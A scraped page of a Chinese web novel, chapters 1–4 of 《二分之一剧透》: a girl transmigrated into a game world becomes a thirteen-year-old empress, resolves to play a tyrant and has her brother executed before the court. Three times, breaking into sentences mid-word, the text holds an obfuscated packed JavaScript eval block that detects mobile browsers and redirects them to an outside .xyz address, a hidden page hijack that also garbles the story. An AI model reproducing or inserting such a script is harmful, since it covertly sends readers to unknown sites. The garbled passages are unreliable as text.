《二分之一剧透》 1. 第一章 大雨倾泻。 隆隆的雷声笼罩住了西雍宫。 近来天气急剧变冷,大雨里还夹杂着冰雹,风声呼啸,吹动得檐下铁马一片乱响。 如此嘈杂的风声雨声,更衬托得西雍宫内外一片寂然。 此刻候在殿外之朝臣足有上百位,却一个都不曾开口说话。 先帝临终前数月,突然决定立皇九女温晏然为储君,并将旨意昭告天下,强令地方诸王上表为贺,帮新鲜出炉的皇储定下君臣名分。 大周并非没有女帝继位的传统,大臣们也能接受皇女继位,然而目前这位储君在哪一方面都让人难以安心。 温晏然刚满十三岁,所谓主少国疑,对方的个人年龄让大臣们很难相信新帝的综合能力。 如果说个人实力方面的缺憾还可以靠不断努力以及大臣的辅佐来弥补的话,那么皇九女的天赋局限就是一个外力起不到多大作用的严重问题。 据宫中传出的消息,皇九女天资驽钝,性格颇为自闭,也不太爱跟人交流,假如先帝在选择继承人的方式上不是突然复古了那么一把的话,决计不会选中这位。 正常来说,下一任皇帝会由上一任皇帝自行指定,倘若上一任皇帝因为各种原因无法指定,或者不希望由自己做出抉择,便会由国师来求神问卜,确定下大致人选。 若是上任皇帝对国师卜出的人选也没有意见,那么就会公开立其为皇储,当然在部分人眼里,所谓的国师占卜,只是为了渲染出大周皇室受天命眷顾的一种手法而已。 先帝最后用的年号是颇具讽刺意味的长兴,最后那几年里,由于诸皇子皇女争位,导致了长兴之乱,涉事者或出继或死或贬为庶人,目前宗室近支中拥有继位资格的人本来就不是很多……但让皇九女温晏然登基,依旧是个特别有创意的决定。 * 西雍宫之内。 其实这间宫殿不是先帝长居之处,在皇九女被确立为储君后才匆匆打扫布置了一遍——作为一个被公认为天资驽钝的皇女,温晏然平日的居住地在简朴程度上远低于皇室平均线,而且位置偏僻,安保水平有限,很不适合作为皇储的宫殿。 现下正是秋末冬初之际,今年的寒潮比往年来的要早,温晏然被内少府令找到的时候,不巧正身染风寒,于是赶紧从原本所居的桐台那里接了过来,挪入西雍宫内,以便未来的天子好生休养。 温晏然已经养了一个多月的病,可惜时节不好,非但没有痊愈,反而有不断加重的征兆。 太医院院正每天例行过来看诊,并为天子进奉汤药,床榻下还有十六位女官奔走忙碌,但整个过程中却不闻一丝人语步履之响。 外面的朝臣们已然恭候了许久,就在太医院院正忍不住再去诊脉的时候,忽然发觉帐内有窸窸窣窣的声音响起,一只毫无血色的手掌从中伸了出来,向他们轻轻摆了摆。 众宫人见状,犹犹豫豫地退了几步,但不敢退得太远,保持在一个一旦有什么大的动静能立刻冲上,但又不对帐中存在造成打扰的安全距离。 温晏然也没再给指示,事实上她现在暂且没功夫去理会旁人,得集中精力解决眼下的问题。 作为一个社畜,她只是在下班之后随意点了下《君王攻略》游戏互动专区的页面,网页上就弹出了一行“世界意志鉴定通过”、“地图载入”、“无预留存档,情节重置”一类的字样,然后就触发了穿越礼包。 ——被她看中的这个作品在设定上比较新颖,存在着异常丰富的分支剧情,玩家在打出自己结局后,还会生成一篇类似于“十五岁登基,十六岁被身边宫人杀害”这样的简易概括,一时间格外风靡,温晏然回想那么多被晒出来的坑爹结局,觉得自己这一穿的危险系数异常高,而且还是没带作弊码跟修改器的那种,充满了自食其力的沧桑感。 那部作品的许多剧情节点存在一定的重复性,但自由性同样很高,据说没有一个确定的游戏剧本,所以存在着许许多多坑人一脸血的结局,温晏然在点开前也翻了会评论区的帖子,算是了解了个大概。 事到如今,温晏然已经初步明白了自己的状况。 她如今已来到了《君王攻略》的游戏世界里头——并非所有的文娱作品都存在对应的真实世界,但一些距离温晏然所在世界比较近的小世界,就像住在自己家边上的邻居,虽然隔着墙壁,但若是对方动静大了点,某些听觉敏锐的人也就能感受到一些。 那些“听觉敏锐的人”,会以为这些都是自己的灵感,并将感受到的内容书写下来,以小说或者游戏或者半小说半游戏的形式呈现,当然也有些世界是现有了作品,然后才从作品中诞生。 温晏然将手臂伸展开,躺在床上,忍不住在心里吐了个槽——当初在发现自己跟作品里人物同名的时候,她就应该未雨绸缪,支棱起来熟读并背诵全文…… 她又问了那个世界意志一个问题,每天接触的玩家那么多,为什么偏偏是自己被选中? 直到现在为止,所谓的世界意志都一向有问必答,但回答的时候,会有些接触不良的卡壳感,而且还有愈发严重的征兆。 对于温晏然的新问题,世界意志也给了答复,其实之所以突然穿越,倒也不是因为她天资多出色或者是与重要角色重名,纯粹是灵魂质量比较低的目标人物,容易穿越世界壁垒,按老话说就是八字轻,容易招事。 温晏然回忆了一下自己的过往经历,不得不承认,那个世界意志的说法可能有那么些道理…… 而且她之所以灵魂质量偏低,就是因为有小半拉灵魂丢在了当前世界当中,所以这里的皇九女温晏然浑浑噩噩,自闭度日,她则把非酋的称号贯穿到了生活的方方面面,想要恢复正常,就需要重新融合为一个整体。 据世界意志介绍,温晏然所来到的这个世界,目前正处于一个罕见的异常状态中,用通俗点的话说,就是已接近死线,目前正吊着最后一口气反复诈尸。 她所穿越的剧情点是长兴十一年秋末,一个理论上早就已经过去的时刻。 正常情况下,一个世界的时间线会不断往前推进,然而在长兴十一年新帝继位后,这个世界就逐渐陷入了可以用烽烟四起,民不聊生来形容的严重混乱当中。 乱世出英雄。 那些为挽救世界倾尽所有心血的气运之子们不肯接受最终的结局,他们的意愿过于强烈,居然导致了时间线的虚假回滚。 ——所谓虚假回滚,就是时间并未真正倒退回长兴十一年,而是所有人都进入了一个足以以假乱真的集体梦境之内,从头开始所有的一切。 然而这个虚假回滚的时间线最后的结局也同样惨烈,于是集体梦境再度重启了一次又一次,直到这一回,温晏然被拉了进来。 最开始,世界意识其实是打算让所有人能做一个足以抚平内心创伤的美梦,等那些气运之子们心情平和下来,被扰乱的时间线便能恢复正常。 温晏然了解到,《君王攻略》其实是一个用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880612|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来模拟跟收集数据的游戏,世界意志会对玩家打出的各个剧情结局进行统计,并且把满足美梦要求的内容给投影过来,尝试进行影响,然而不管玩家在关键节点上做出怎样的抉择,最后的结局都无法让大部分人感到满意。 集体梦境的反复重启,显然不会是没有代价的——跟时间线有关的问题都是大问题,哪怕只是虚假重启,都会导致世界屏障破损,内部居民灵魂的紊乱与消减。 简而言之,就是此类状况持续下去的话,整个世界就会走向毁灭。 面对可以预见的不幸未来,世界意志决定调整原先的计划——既然编织美梦的方案屡屡失败,那就干脆编织一个足够惨烈的噩梦,让气运之子们认清现实。 除此之外,世界意志站在游戏设计师的角度进行了深刻的自我反思,觉得还是自由度不行,就把本质上也算自己人的温晏然给安排了过来,亲自上阵进行攻略,这样一来的好处是行动限制最少,缺点是不能存档,无法下线,与此同时,虚假时间线也会同步回滚,虽然最终失败了可以再次重启,不过对应的灵魂力量也会被消耗。 世界意志不能完全控制剧情梦境的导向,只能进行有限的干涉,其中最适合渗透力量的节点就是这一刻的时候——皇位继承人就是这么定下来的。 正因如此,温晏然才刚穿越,就已经达到了自身职场生涯的巅峰。 作为被选定的下一任皇帝,温晏然的任务就是帮着世界意志编一个能令所有人清醒过来的噩梦——跳过各种复杂的术语,用简短的话语描述,就是她得当一个彻头彻尾的昏君,让别人在“大周已经彻底没救”这一点上达成共识。 为了让温晏然更好地完成目标,世界意识还贴心地帮她把游戏面板给开了。 “……” 温晏然默默凝视着面前只有自己才能看到的特殊界面,感觉整个人的游戏观都受到了洗礼——在科技发展日新月异的今天,她居然看到了一个画风与dos十分相类的命令行界面,让人不自觉地开始怀疑该系统的出品方是否存在严重的资金不足问题。 系统可以用来对某些重要事件进行提示,不过上面的提示语句跟界面保持着一致的简陋画风,开启的时候先显示了一行字“欢迎使用《昏君攻略》游戏协助系统”,然后光标自动换行,显示出了应该算是她当前目标的四个字“登基为帝”,至于基本的角色信息倒是有—— [姓名:温晏然 年龄:13 职业:皇帝(待登基) 威信:0+20(职业加成) 特殊状态:[大病初愈] 警告:个人威信过低,存在被架空风险。 备注:该界面将在十秒钟后关闭,十天后可再次开启。] 温晏然:“……” 她的手在微微颤抖。 那上面除了一些自己已知的以及能依靠前因后果推测出来的内容外,没有任何有效内容, 温晏然觉得,据说隔壁那款叫做《江湖青云路》的武侠游戏的朝堂线,系统面板都比这个更全面一点…… 在意识到接下俩只能自食其力的温晏然想,按照该世界的新君继位一贯的流程,自己登基这件事不存在任何难度。 所以为了成为一个可供旁人挑刺的昏君,她要想办法给自己创造难度。 作为一个第一次当皇帝并以昏君为己任的玩家,温晏然有理由认为,既然很多同行都有得位不正的传言,她也得给自己整一个。 2. 第二章 “陛下如今大有好转。” 等候在外的大臣们听得女官的回话,总算松了一口气,既然未来的天子不会立刻暴毙,他们自然也不都挤在殿门口,而可以退入侧殿之内,暂且歇上一歇。 虽然上一任皇帝亲口指定了继位的人选,但九皇女若是突发重病,也没有先休养个一年半载再登基的道理——按照大周的习惯,每当天子驾崩,朝廷为了稳定局势跟安抚人心,会立刻安排新君灵前登基,同时在十五天内为新君举行大典,就算考虑到温晏然被定为储君的时间实在太短,各类器物都要赶制,最多也不会拖过二十天去。 在重臣的带领下,群臣进入偏殿之内,按地位高低关系远近依次坐定,其中国师的位置被安排在右上首——正常来说,大周的国师会居于宗庙附近,很少到宫中来,不过为了显示新君天命所归,必须在登基大典上出席,地位十分超然。 国师只能出身温氏一族的旁支,极远的宗亲关系让他们难以拥有继位资格,而相同的姓氏又保证了这些人必须将自己跟皇权紧紧捆绑在一起。 这一代的国师名叫温园,是一位眉目俊朗的年轻男子,出身于温氏极远的一支,他号为惊梅居士,相熟之人便称其为温惊梅。 与国师相对而坐的老人是太傅袁言时,他如今已过知天命的年纪,头发大半花白,外貌比实际年龄还要大上一些,正是先帝钦点的辅政重臣,把温晏然加上的话,就是历经三朝,门生故交遍布朝野,从任何角度看都是个举足轻重的人物。 与太傅隔着两个位子的人则是户部侍郎卢沅光,她年纪轻轻,尚不足三十岁时便成了四品大员,虽然放在整个朝堂中算不得什么,但在年轻一代里,绝对属于翘楚人物,如今各级官吏都在长兴之乱中锒铛下狱,导致了不少重要岗位的人员空缺,比如御史台大夫,再比如户部尚书,目前就都是空职,前者目前因为缺乏能压得住场子的上官而陷入混乱,后者则在卢沅光的管理下,显得井然有序。 故而卢沅光虽未被点名辅政,但作为颇受先帝器重,而且自身能力也不错的新贵,如今也与袁太傅等人一块候在侧殿当中。 卢沅光与袁太傅之间虽然隔着两个位子,却没人去坐——因为诸皇子皇女争位时许多大臣也牵涉其中,被先帝清洗了一批,虽然造成了人手不足的后遗症,也大大提升了周朝的人均办公场地的面积。 韩拾荆乃是户部的一个小小主事,素来只紧跟着上峰的步调行事,她本来没资格待在这个侧殿之内,只是户部如今实在是没什么拿得出手的人才,才不得不硬着头皮过来帮着卢大人壮一壮声势。 进入侧殿后,韩拾荆就老实坐在靠门的位置上,低眉垂目,安分守己,只偶尔以眼角的余光扫一扫殿内的大臣们。 除了上首那几位喜怒不形于色的重臣尚且能够保持住面色的平和,很多大臣面上都带着或深或浅的忧色。 殿内并不嘈杂,大部分人都保持安静,偶尔几个说话的也尽量将声音压低。 虽然许多逆乱份子都在长兴之乱中被拔除,却也不代表如今的朝廷是一团和气。 如今能立在殿上的大臣,也各有各的心思。 大周的朝臣多出于豪门大族,不少人与皇室有亲,其中崔氏跟郑氏分别是四皇女跟七皇子的外家,两边各拥其主,多年来明里暗里一直争斗不休,直到四皇女自请出京,七皇子的势力占了上风,崔郑两边的角力才算告一段落。 事后回首,韩拾荆觉得,四皇女当日的退让,分明是不争之争,这位殿下晓得建平局势混乱,索性寻机脱身出去,坐壁上观,顺便在外经营势力,等建平这边尘埃落定后,再来渔翁得利。 ——建平是大周的都城。 当时七皇子占据上风后,为局势所迷,果然志得意满,陷入争位的混战当中,如今早被禁军拿下,由于那时先帝已然病重,加上局势混乱纷杂,委实无力处置这个儿子,七皇子也因此逃得一命,现在暂且被关押在幽台当中。 一刻之后,內监过来传令,说是新帝服了药后,现下已经能起身了,稍后便会前往乾元殿。 温园本来在闭目养神,此刻睁开眼睛,向着对面的袁太傅笑了一笑:“既如此,我等当前往恭候。” 袁言时微微颔首,一派持重之色:“国师所言甚是。” 温园与袁言时四目相对,这两人一个有地位却无实权,一个是先帝钦点的辅政大臣,此前从未听过有什么往来,如今的对话也十没有半点不对劲的地方,但韩拾荆却莫名觉得背上寒毛直竖,一时间竟不敢往前边多看。 * 乾元殿是正殿,也是先帝停灵之所,朝臣们提前过来,早早分列于两侧——现下虽然还未举办过正式的登基大典,但先帝驾崩后,昔日九皇女已经能被称为陛下。 在朝臣们等候之时,温晏然正立在镜子前,由女官为自己更衣。 由于先帝是在临终前两个月才定的继承人,温晏然又一直在病中,不方便细量尺寸,身边只有此前未加封的皇女的礼服,所以少府那边特特奉上了老皇帝以前的旧衣服,让她穿上,最外面再套一层丧服。 ——少府属于侍奉皇帝日常生活的官衙之一。 女官便帮着更衣边道:“这些衣服是太傅大人准备的。” 大周素来有长者临终时将旧衣赠送给旧人的传统,老皇帝一手提拔了袁太傅,又令其辅佐新帝,显然足够看重对方。 温晏然注视着镜子里的人影,并没有顺着女官话茬深谈的意思。 女官垂下头去,她本以为九皇女偏居多年,骤然间身登大宝,一定有话相询,结果对方始终神色淡淡,倒叫旁人摸不清底细。 穿戴完毕后,少府令过来回禀,说是仪仗已经准备停当,请新帝乘舆,却见温晏然停下脚步,吩咐内府令道:“先替朕取一柄剑来。” 少府令听见天子话中的内容,不知想到了什么,膝盖一软,直接跪倒在地。 温晏然笑微微道:“怎么,少府竟办不来此事么?” 她记得之前看到的警告,虽然自己天生的威信不足,但至少存在着职业加成,而且不管是从当前表现看还是从剧透看,面前的少府令显然也不像是具备架空皇帝能力的那种权臣。 少府令心中刹那间千回百转,若回答办不成自然听着就非常适合以渎职罪被捉拿下狱,若是回答办得成,倘若新帝觉得自己竟能带刀进内廷,是个应该被清除的危险份子又当如何? 他没时间仔细斟酌,只得战战兢兢地回答道:“禁军拱卫皇朝,身边必然携有刀剑,微臣愿为陛下召之。” 温晏然颔首,过不片刻,一位身披轻甲的禁军校尉便匆匆而至,解了佩剑双手递上。 温晏然将剑取到手中——她这具身体实在年幼体弱,差一点没能握住剑柄——然后挂在自己腰带上,又扫了对方一眼,笑了下:“校尉且把头抬起来,让朕瞧瞧。” 这位禁军郎将依言抬首,温晏然看见,对方是一位二十来岁的年轻女子,五官轮廓鲜明,不完全是中原风格。 温晏然把这人的形貌记下,询问:“你叫什么名字?” 禁军郎将是武职,大多不善言辞,此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880613|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻听见天子询问,也只是垂首道:“微臣钟知微。” 边上的女官在心中叹气,这位钟小将军要是机灵一些,顺带着说一下自己的出身,说不准便能在新帝心里留下点深刻的印象。 不过女官们不晓得的是,温晏然其实还挺了解这位钟小将军。 她当日在点开游戏前,曾在评论区扫过几眼,对某些被屡屡提到的人物有点印象。 钟知微算是剧情里一个挺出名的武将,被广大玩家亲切地称为钟掉线,用来形容她在关键战役中屡屡查无此人的存在感。 温晏然想,世上有起错的名字,但一般不会有起错的外号。 所以在她眼里,这位钟小将军绝对是个可造之才,十分适合为她以后的昏君事业添砖加瓦,当下挥了挥手,令对方跟在自己的仪仗后头。 自觉掌握剧本的温晏然此刻还不清楚,钟知微此人外号之外还有不少可供挖掘的深层次信息。 她穿越的这部作品虽然热度不错,留长评的人却不太多,而寥寥数语显然难以将钟知微此人倒霉的一生概括完全——对方在关键战斗中并非主动掉线,而是被动掉线。 钟知微出身不好,在朝廷中混了那么多年,积累了不少敌人,对手为了打压她,每每遇见那种“一旦打赢就必定能升官”的重要战役,都会派监军过去扯她后腿。 温晏然还未进殿,乾元殿中响起內监的通传声,诸位朝臣们齐齐伏拜于地,口称天子,言辞一致地恳请温晏然继皇帝位,以安抚人心。 以大周的习惯,就算君臣之间也很少大礼参拜,不过如今是新君正天子名分的要紧时刻,自然又当别论。 温晏然抬头,目光止在老皇帝的棺椁上停留了一瞬,然后轻轻扫了眼边上內监。 像灵前继位这种事情,大周早有一套固定的流程,她不必多做什么,只要按部就班往下进行就是。 內监传令,令百官平身,朝臣们大多依言而行,但并非所有人都随之站起。 此时此刻,地上依旧有一人恭恭敬敬地拜着,温晏然不认得对方,但在此的朝臣们都晓得,那是郑氏的子弟郑引川。 ——这种情况下的长跪不起,比起有事恳求,更像是在砸场子。 不过也有很多官吏很体会这人的想法——正常来说,郑氏子弟就算有话要说,也不至于自己亲自上阵,实在是很多门人故旧都在长兴之乱中遭遇了清洗,有资格在今日面见新君的并不多。 郑引川在礼部任职,他不等旁人斥责,立刻开口道:“微臣郑引川有要事启奏陛下。” 郑氏是七皇子的外家,行事当然要为七皇子张目,他今天的目的,就是让对方把七皇子从囚禁之地放出。 郑引川没有直接提起七皇子,只是说大周崇尚孝道,如今先帝除了温晏然之外还有其他同在建平的子女孙子女,按理也该过来哭灵。 ——在很多人的想法中,九皇女年纪尚幼,又有愚钝怯懦的传言,未必敢于驳斥旁人,郑引川选择当面表达自己的看法,逼得新帝不得不立刻给出答复,倘若温晏然一时心软,应了他的请求,那七皇子就能自幽台内被放出。 他的行为虽然十分莽撞,但仔细想想,可能性其实挺高。 朝臣队伍末尾,户部的韩拾荆忍不住抬起头,悄悄观察新帝的神情。 年少的天子居高临下地看着郑引川,面庞上没有半丝惊慌或者愠怒的神情,反而微微含笑。 温晏然是真的不生气。 在她眼里,对方的行为可以说是瞌睡时递上了枕头,在时机上卡得恰到好处。 3. 第三章 温晏然没有立刻给出答复,也没让对方起身,而是施施然走到先帝棺椁之前,向着那位几乎把顾命大臣给写在脸上的老人,温和道:“朕记得如今在建平内的人也包括七哥,可惜他如今身陷囹圄……” 没有半点回避的意思,温晏然直接提起了这个令郑氏格外在意的名字。 “请问太傅,当日七哥为何被囚?” 袁太傅面皮抖了一下,然后道:“先帝斥责七殿下,派禁军将之囚禁于幽台内。” ——幽台本是坟墓之意,在大周这边,跟暴室一样,都是用来囚禁达官贵人的囚牢。 温晏然:“既曾斥责,想来随侍之人知晓原因。” 她说话时,视线落在少府令身上,询问之意格外明显。 ——温晏然知道,对于一个不便回答的问题,要是她询问在场所有人,那么这些人里未必有谁愿意当出头鸟,但只盯着一个问,在自己名义上占据高位的时候,对方大抵不敢得罪她,会选择老实作答。 少府令察觉到天子的目光,当下一个哆嗦,他膝盖能软一次,自然也就能软第二次,当下熟能生巧地跪了下来,战战兢兢地回禀:“先帝曾言,七殿下行事狂悖,阴匿邪朋,货赂中贵,诋詈宗庙,窥觊储贰①,实不堪为皇子。” “……” 一问一答之间,殿内雅雀无声,被晾在边上的郑引川面色先是泛红,然后逐渐变得苍白起来。 温晏然满意颔首,又向着那位郑氏成员笑了一笑:“卿家方才所言有理,朕托体于先帝,又被委以社稷,如今自然要尽孝悌之礼。” 她毕竟是曾在评论区看过评论区剧透的人,知道郑崔两家的矛盾——对于读者来说,除非是开局选择成为四皇女或者七皇子中的一个,否则大部分人都会选择继续平衡两边的势力,让崔氏跟郑氏继续争斗,保持局势的稳定,等两边不断互相损耗下去,都没什么反抗的力气之后,再收服为己用。 在大部分朝臣的认知当中,就算新帝心里一万个想干掉那些虎视眈眈的兄弟姐妹,也得耐心等上一段时间,一面等朝政稳定,一面也是担心留下恶名。 但温晏然就是要留下恶名,并完全不介意旁人日后拿今天的事情来翻旧账。 她给完郑引川回复后,直接喊了大理寺卿出来——对方刚刚接任这个职位没两天,跟天子一对一沟通时很有点紧张之情,以顺拐的姿态走到了大殿中央。 温晏然:“既然如此,卿家且派人将庶人温见恭押上来。” ——不是七皇子温见恭,是庶人温见恭。 大理寺卿被点名出列,就算再不想牵扯到崔郑的争执中,也不得不依令而行,他刚派人过去幽台,又被天子叫住,让他当庭把温见恭的罪名给罗列出来。 大理寺卿:“……” 感受到郑引川那边的目光,他此刻异常想要告老还乡。 倘若说四皇女掩藏得比较深,那七皇子就是一个坏的十分明显的反派,而且作为皇子,他除了想谋夺皇储之位以外,像结党营私,卖爵鬻官,欺男霸女,夺人田产之类的事情也都没少做,只是限于其身份,无法明正典刑而已。 温晏然立在阶陛之上,等大理寺卿总算把长长的罪名全部念完后,那位曾经的七皇子也正从幽台那边被提押到了殿上。 见到这一幕,乾元殿内鸦雀无声,许多朝臣都心跳如擂鼓,甚至有种喘不上气的憋闷感。 他们都在等着看,天子究竟会如何对待温见恭。 前七皇子既然被囚于幽台之内,日常待遇肯定不如以往,形容颇见憔悴,而过来提人的禁军将士察觉到新帝的心思,也没继续用对待皇子的礼节来对待这位曾经的贵人。 温见恭被押到殿上时,连束发的带子都已然失落。 作为品阶不高的户部小官,韩拾荆的站位靠近殿门,她看不见立于阶陛之上的天子的神色,却看见对方做了一个谁也意想不到的动作。 温晏然当着文武百官之面,豁然拔出腰上佩剑。 “陛下!” 大臣中有人面色大变,当场惊呼出口,却看见天子倒持长剑,环视百官,微微笑道:“谁肯为朕执剑诛杀庶人温见恭?” “……!” 韩拾荆的脑子里空白一片,她抬眼望去,发现大部分官员面上都流露出或深或浅的愕然之色。 身为一介微末小官,韩拾荆本来不理解先帝临终前往为何选定了这样一位新君。 事到如今,她原先充满不安惶恐的心情却蓦然平静下来——郑氏是世代官宦的大族又如何,新帝身为天子,自然有天子的气魄,岂是能为人所逼迫之辈! 郑引川的下摆一阵轻颤,冷汗顺着鬓角往下流,家里本来打算得挺好,那位九殿下没有母族势力,本人的资质也不如何,耽搁到现在都未曾进学,这样一位自闭懦弱的小天子,摆弄起来又有何难? 若是早知其气度如此,郑氏绝不敢在乾元殿里直接触碰对方的龙鳞。 温晏然那边话音方落,百官中便有一人抢步出列,朗声道:“微臣贺停云,愿为陛下斩此恶獠。” 贺停云是一位御史。 她知晓那位七殿下罪行累累,奈何其身为皇子,最多只会被幽囚于宅中,而且按照常理来说,新帝登基后为了展示自身的宽仁,说不定还会额外加恩。 但眼前这一幕,却让贺停云重新振奋了起来,等听到天子的询问时,应声而出,并恭敬地拜倒在了对方面前。 温晏然也十分干脆,当下倒持剑柄,把武器给人递了过去。 看见这一幕,边上的大臣忍不住有些脸绿。 ——倘若那个贺停云稍微有点坏心,直接就能执剑把新帝给当场捅穿。 贺停云接过长剑,立刻后退数歩,然后转过身,一步一步走到昔日的七皇子面前。 本来有些迷茫与愤怒的温见恭,此刻面上已是青灰一片,他瞪视贺停云半晌,又越过她,看向立于阶陛上的胞妹,像是发了狂似地大声道:“阿爹尸骨未寒,温九你灵前争位杀兄,必遭天厌——” 话音未落,贺停云手中长剑挥落,将温见恭所有的未尽之言就此斩断,百官眼睁睁看着,一蓬热血自昔日的皇室贵胄颈腔中高高喷出三尺有余,然后溅在了乾元殿的地砖之上。 贺停云干脆利落地斩杀了温见恭后,又双手托剑,走到天子面前,再次恭敬下拜。 此刻天幕为阴云所遮,但乾元殿内白烛如星,照的一殿分明,韩拾荆小心地抬头往正前方望去一眼,又迅速低下头去——那位立于阶陛上的天子虽然衣饰整洁,却莫名给人以身染鲜血的奇异观感。 温晏然伸手将人虚虚扶起,赞了一句:“贺卿乃勇直之臣。”又轻轻扫了眼伏在地上的郑引川,笑,“悖逆之人已除,至于剩下那些还在建平内的宗室子女,便如郑卿所言,都召来为先帝哭灵。”顿了下,视线在郑引川上停了许久,又慢悠悠道,“郑卿犯颜直谏,堪为侍郎。” 郑氏是七皇子的外家,如今温见恭被毙于殿上,对方肯定要找机会报仇雪恨,温晏然提拔郑氏成员,主要是为了帮助对方积蓄力量,尽早站在自己这位昏君的对立面上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880614|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……” 乾元殿内一时间鸦雀无声。 新帝的一杀一赏都出乎众人意料之外,韩拾荆留意到,自己那位上司卢沅光的面上,闪过一丝思忖之色。 * 距离百官于先帝灵前请九皇女继皇帝位这事已经过去了三天,这三天内建平内各大臣除了哭灵以及为新帝登基大典做准备之外,就是琢磨那位天子的一举一动。 温晏然当场斩杀昔日的七殿下并将郑引川提拔成侍郎后第二日,便将原先只是一位普通御史的贺停云越阶拔擢为御史大夫。 御史大夫是九卿之一,虽说如今九卿逐渐沦为虚职,御史台依旧是实权机构,其主官权力极大,温晏然的行为让很多大臣反应了过来,当今圣上一无母族,二无近臣,谁先能成为对方的心腹,谁就能青云直上。 对温晏然而言,她主要是因为记得贺停云在评论区内有贺停职的别称,经常摸鱼,一副“当官救不了大周人”的颓丧之态,才毫不犹豫地委以重任。 但不清楚内情的大臣们,显然有着别的看法。 城东的卢府之内。 如今正是国丧期间,上至文武百官,下至平民百姓,都不许宴饮行乐,包括韩拾荆等户部官员悄悄跑到上峰的府邸内,也只是在书房内饮茶清谈而已。 众官吏随意谈了几句话,就有人按耐不住,询问卢沅光对日前之事有什么看法。 卢沅光:“卢某确在细思近日诸事。”又道,“依在下所见,今上虽然年纪尚小,但心内其实颇有成算。” 边上一人道:“既有成算,为何非要得罪郑氏不可?” 卢沅光冷笑一声,道:“何谈得罪二字?郑氏不过臣子,但今上却是天子,而且七……庶人温见恭一死,郑氏恐怕会倒向新帝。” 书房内众人先是不解,随后接连露出恍然大悟的神色。 卢沅光压低声音:“陛下当日之所以又杀又赏,一则断绝郑氏后路,一则为了安抚人心。” 如果温见恭活着,郑氏未必能抛弃对方,转投旁人阵营,而且更妙的是,温晏然并无可靠外家,身边也没有近臣。 卢沅光轻轻叹息:“郑氏要能狠的下心,说不准可以飞黄腾达。” 边上一人道:“那依侍郎之见,我等应该……” 卢沅光一边思忖一边道:“陛下以贺停云为御史大夫,自然是因为她首先向陛下效忠,公开拔擢以示嘉赏,不然只是斩杀一介悖逆宗室而已,其功劳难道能与九卿之位相当么?” 另一人感慨:“天子这是千金买马骨的意思啊。” 卢沅光颔首:“我等如今已是慢了贺卿一步,更要挑个合适时机向陛下表明心迹才是。” 在卢沅光跟同僚联络的同一时间,郑府中也有人在讨论日前朝堂上发生的事情。 郑氏族长,郑引川之父郑晟德坐在椅子上,沉默不言,面上有明显的憔悴之意,短短数日之内,便像是老了十余岁。 他们本是皇子的外家,如今却成了悖逆罪人的外家。 一郑氏族人惶急道:“郑氏如今已是危如累卵,明公还不肯出言点拨我等吗?” 郑晟德还是没有说话,但郑引川却开口反问:“那依足下所见,郑氏之危,究竟在于何处?” 那名郑氏族人欲言又止,末了苦笑摇头:“郎君若是心内已有成算,何妨直言相告?” 郑引川望向父亲,看见后者微微颔首,才大着胆子道:“陛下当中诛杀七殿下,却又提拔在下,是在安抚我等,并公开将郑氏与七殿下做了一个切割。” 4. 第四章 本来郑氏拼死要保温见恭上位,就是因为两边一荣未必俱荣,但一损绝对俱损。 郑氏族人若有所悟,露出一丝放松之色:“如此一来……” 郑引川解释:“天子方才继位,郑氏如今羽翼俱失,就算要拿人立威,收拢权势,又哪里轮得到你我呢?除此之外——”他环视四周,然后压低声音,“今上并无外家。” 在场的郑氏族人大多露出恍然之色。 郑引川看向那些还在犹疑的族人,叹了口气:“而且若非如此行事,我等又能如何?郑氏不比旁的士族,根基具在建州,难道去投四殿下不成?” 这句话说完,少数不服气的也闭上了嘴——就像郑氏绝对不是最招新帝讨厌的家族一样,新帝也并不是郑氏最不能接受的皇帝人选。 毕竟他们跟崔氏之间横亘了太多的血海深仇,至于温见恭,对方是被先帝给囚禁到幽台里的,就算日后开赦,也没什么机会登临大宝,如果郑氏一心待在这条船上不挪步,估计得慢慢沉寂下去。 成功安抚了族人后,郑氏父子又聊了几句私房话——他们打算找机会宴请下那位受到天子拔擢的贺御史,顺便问问贺家年轻一辈中有什么合适的子女,可以约为婚姻,就算婚事不成,也算是向新帝表明了态度。 * 就在大臣们费心揣摩皇帝的心思时,温晏然本人正在履行自己现阶段除了哭灵以外的第二大职责:上学。 温晏然晓得自己的皇位还不稳当,所以并不打算现在就对朝臣们大肆动手,当然她更不知道的是,这段时间自己理论上应该先后收到两条个人威信分别+10跟+5的游戏提示,可惜因为能量不足,足足得憋九天才能再度上线的游戏系统,没法对玩家做出及时提醒,温晏然更加无法得知,在灵堂事件之后,各个大臣都往哪个方向发散了下思维…… 身为一个有过多年工作经验的现代人,她深知权力并非来源于上位者的赋予,而是来自下位者的服从。 